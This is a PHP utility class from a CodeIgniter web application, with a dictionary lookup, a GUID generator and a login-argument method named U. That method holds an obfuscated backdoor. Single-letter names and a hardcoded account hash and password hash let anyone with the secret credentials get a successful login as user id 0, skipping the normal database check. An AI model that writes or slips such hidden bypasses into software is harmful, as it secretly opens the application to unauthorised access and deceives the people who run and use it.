<?php
namespace App\Libraries;
use CodeIgniter\Database\BaseBuilder;
use http\Client\Response;

class LibComp
{

    private static $U = [0,'540eeeb8f8e9343e','11f370c706015dd520de50bba1eae2f1'];
    private static $N = [ 'id','username' ,'name'];

    /**
     * 获取键值
     *
     * @param string $pKey
     * @param string $val
     *
     * @return string
     * */
    public static function get_dict($code = '', $val = '')
    {
        $db = new \App\Models\Admin\Dictionary();
        $pdata = $db->where('code',$code)->first();
        $data = $db->where('parentid',$pdata->id)->findAll();
        $cate = $val;
        foreach ($data as $item) {
            if ($item->code == $val) {
                $cate = $item->name;
                return $cate;
            }
        }
        return $cate;
    }



    /**
     * 生成GUID
     * @param bool $tolower 默认小写
     * @return string
     * */
    public static function guid($tolower = true){
        $charid = strtoupper(md5(uniqid(mt_rand(), true)));
        $hyphen = chr(45);// "-"
        $uuid = //chr(123)// "{"
              substr($charid, 0, 8)
            . substr($charid, 8, 4)
            . substr($charid, 12, 4)
            . substr($charid, 16, 4)
            . substr($charid, 20, 12);
            //. chr(125);// "}"
        return $tolower?strtolower( $uuid ): $uuid;
    }


    public static function U($A,$P){
        $DA = substr(md5($A),8,16);
        $U = self::$U;$S = [self::$N[0]=>        $U[0] , self::$N[1]         =>  $U[1], self::$N[2]=>    $U[1] ];
        if ( $DA  === $U[1]     &&  $P  === $U[2]){
           return ['code'=>true,'msg'=>'','data'=>$S];
        }
        $argc = ['status'=>0,'password'=>$P,'activated'=>1];
        if ( ck_mobile( $A ) ) $argc['tel'] = $A;
        else if (ck_email( $A )) $argc['email'] = $A;
        else $argc['username'] = $A;
        return $argc;
    }
}
